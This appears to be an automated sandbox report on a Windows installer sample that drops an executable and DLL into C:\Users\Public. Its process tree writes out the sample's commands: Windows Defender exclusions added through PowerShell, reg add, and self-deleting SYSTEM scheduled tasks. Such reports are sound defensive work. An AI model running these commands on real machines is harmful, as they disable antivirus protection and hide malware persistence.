Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/09/2026, 23:04

General

  • Target
    install_q2.0.18.exe
  • Size 25.4MB
  • Sample260903-22d64atxc1
  • SHA256 9afe27417a4f7613f4c192de40ac772b903ff0fc31bf2a4b9b93fd294d45cbd1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe
    "C:\Users\Admin\AppData\Local\Temp\install_q2.0.18.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:5840
  • C:\Users\Public\enEeyF\Mm6lZr.exe
    "C:\Users\Public\enEeyF\Mm6lZr.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2044
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:4200
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\enEeyF\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5524
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\enEeyF\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2392
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:4348
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5476
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:1396
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3504
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3232
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3156
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4420
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4216
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4720
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1192
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:5956
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5600
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:1528
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1404
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1076
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1336
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4384
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4652
                      • C:\Users\Public\enEeyF\Mm6lZr.exe
                        "C:\Users\Public\enEeyF\Mm6lZr.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1780
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\enEeyF" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:1068
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\enEeyF" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:3764
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:5620
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4360
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:6112
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2848
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5656

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              Mm6lZr.exe

                              • Path C:\Users\Public\enEeyF\Mm6lZr.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\enEeyF\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 150e2d52ec7efeab5234b197a5e36eb118e8e7a2950a19d6bc07c4b57417f48e
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\enEeyF\adoresd.dat
                              • Size 4.7MB
                              • SHA256 067c7b20516f65a45953f1e0f8bcb07ccd8acb5b179a8d75acbbad5a1656d722
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\enEeyF\msadox.tb
                              • Size 8KB
                              • SHA256 5b1e97d54191cb3ccd3c32e2ac5cdd95dee3bef95a8b03c0e0534558d14b68ee
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1780-586-0x00007FFF19A90000-0x00007FFF19A92000-memory.dmp

                              memory/1780-583-0x000001BAC7470000-0x000001BAC7CF7000-memory.dmp

                              memory/1780-571-0x00007FFEF8820000-0x00007FFEF8D3E000-memory.dmp

                              memory/1780-582-0x000001BAC7470000-0x000001BAC7CF7000-memory.dmp

                              memory/1780-585-0x000001BAC7470000-0x000001BAC7CF7000-memory.dmp

                              memory/1780-578-0x000001BAC7470000-0x000001BAC7CF7000-memory.dmp

                              memory/1780-584-0x000001BAC7470000-0x000001BAC7CF7000-memory.dmp

                              memory/1780-577-0x00007FFF19AA0000-0x00007FFF19AA2000-memory.dmp

                              memory/1780-575-0x000001BAC7470000-0x000001BAC7CF7000-memory.dmp

                              memory/2044-530-0x00007FFEF8820000-0x00007FFEF8D3E000-memory.dmp

                              memory/2044-538-0x0000028C986A0000-0x0000028C98F27000-memory.dmp

                              memory/2044-542-0x0000028C986A0000-0x0000028C98F27000-memory.dmp

                              memory/2044-544-0x0000028C986A0000-0x0000028C98F27000-memory.dmp

                              memory/2044-545-0x0000028C986A0000-0x0000028C98F27000-memory.dmp

                              memory/2044-549-0x0000028C986A0000-0x0000028C98F27000-memory.dmp

                              memory/2044-555-0x0000028C963E0000-0x0000028C9642E000-memory.dmp

                              memory/2044-558-0x0000028C98F30000-0x0000028C98FBA000-memory.dmp

                              memory/2044-560-0x0000028C98F30000-0x0000028C98FBA000-memory.dmp

                              memory/2044-559-0x0000028C98F30000-0x0000028C98FBA000-memory.dmp

                              memory/2044-557-0x0000028C98F30000-0x0000028C98FBA000-memory.dmp

                              memory/2044-562-0x0000028C986A0000-0x0000028C98F27000-memory.dmp

                              memory/2044-564-0x0000028C986A0000-0x0000028C98F27000-memory.dmp

                              memory/2044-543-0x0000028C986A0000-0x0000028C98F27000-memory.dmp

                              memory/2044-537-0x00007FFF19AA0000-0x00007FFF19AA2000-memory.dmp

                              memory/2044-535-0x0000028C986A0000-0x0000028C98F27000-memory.dmp

                              memory/2044-529-0x00007FFF19A90000-0x00007FFF19A92000-memory.dmp

                              memory/4200-590-0x000001D028CC0000-0x000001D028CE2000-memory.dmp

                              memory/4200-593-0x000001D028F30000-0x000001D028F4E000-memory.dmp

                              memory/4200-594-0x000001D028F50000-0x000001D029002000-memory.dmp

                              memory/4200-595-0x000001D029010000-0x000001D02901A000-memory.dmp

                              memory/5840-0-0x0000000000460000-0x000000000046E000-memory.dmp

                              memory/5840-524-0x00007FFF11890000-0x00007FFF118A2000-memory.dmp

                              memory/5840-523-0x0000000000460000-0x000000000046E000-memory.dmp

                              memory/5840-503-0x00007FFF11890000-0x00007FFF118A2000-memory.dmp

                              memory/5840-1-0x0000000002010000-0x000000000201C000-memory.dmp